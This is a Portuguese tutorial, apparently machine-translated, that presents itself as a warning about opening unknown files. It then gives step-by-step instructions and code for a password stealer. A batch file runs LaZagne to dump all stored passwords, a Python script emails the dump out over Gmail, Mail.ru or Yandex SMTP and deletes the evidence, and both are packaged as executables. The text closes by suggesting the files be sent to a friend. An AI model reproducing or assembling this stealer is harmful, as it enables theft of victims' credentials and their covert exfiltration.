O que vamos fazer?
Olá, o leitor de hoje falará sobre por que você não precisa abrir arquivos não verificados baixados de fontes desconhecidas e criar um arquivo para entender o que ele pode fazer no seu PC. Criaremos um modelador que coletará todas as nossas senhas e as enviará por correio.
O que é necessário para isso?
Vamos precisar de:
- Python 3.xx
- Ferramenta de recuperação de senha (no nosso caso, LaZagne )
- Duas contas do Google
E assim começamos
Primeiro, coloque o arquivo .exe da ferramenta LaZagne na pasta do nosso projeto. Em seguida, crie um arquivo .bat com qualquer nome (terei main.bat) e um arquivo send.py.
Deveríamos ter essa estrutura:
Projeto:
- laZagne.exe
- send.py
- main.bat
Escrevendo um código
Abra o arquivo main.bat e coloque o código lá:
@Echo off laZagne.exe all > pass.txt
Agora, quando você executar nosso arquivo .bat, teremos um arquivo pass.txt no qual todas as suas senhas dos navegadores (e não apenas) serão. Resta apenas enviar dados para o correio. Mas como fazer isso?
Enviando para e-mail
Abra o arquivo send.py e cole o código:
import smtplib import os import mimetypes from email import encoders from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.mime.image import MIMEImage from email.mime.audio import MIMEAudio from email.mime.multipart import MIMEMultipart def send_email(addr_from, password, addr_to, files): msg_subj = 'Password' msg_text = 'Password' msg = MIMEMultipart() msg['From'] = addr_from msg['To'] = addr_to msg['Subject'] = msg_subj body = msg_text msg.attach(MIMEText(body, 'plain')) process_attachement(msg, files)
Agora você precisa configurar e, dependendo do serviço para o qual você enviará mensagens, alterar o código selecionado: Google (primeiro você precisa permitir o acesso a aplicativos menos seguros ):
server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit()
Mail.ru:
server = smtplib.SMTP_SSL('smtp.mail.ru', 25) server.login(addr_from, password) server.send_message(msg) server.quit()
Yandex:
server = smtplib.SMTP_SSL('smtp.yandex.ru', 465) server.login(addr_from, password) server.send_message(msg) server.quit()
Concluir .bat
Agora, em nosso arquivo .bat, adicione o código de inicialização do arquivo send.py e a exclusão do arquivo pass.txt:
send.py del /s "pass.txt"
Assembléia
Agora, depois de executar o main.bat, suas senhas serão enviadas para o seu e-mail, mas se você não tiver o Python instalado, nada funcionará, é necessário transformar nosso arquivo send.py em exe. Para fazer isso, abra o console e escreva:
pip install pyinstaller pyinstaller --onefile send.py
Ainda assim, precisamos transformar o arquivo main.bat em main.exe, e o Bat To Exe Converter nos ajudará com isso. Clique no botão com três pontos ("...") e procure o arquivo main.bat, clique em "Abrir", clique em "Converter" e obtenha o arquivo main.exe. Esses três arquivos são o nosso modelador, podemos envie a um amigo e aproveite verifique o desempenho.
Referências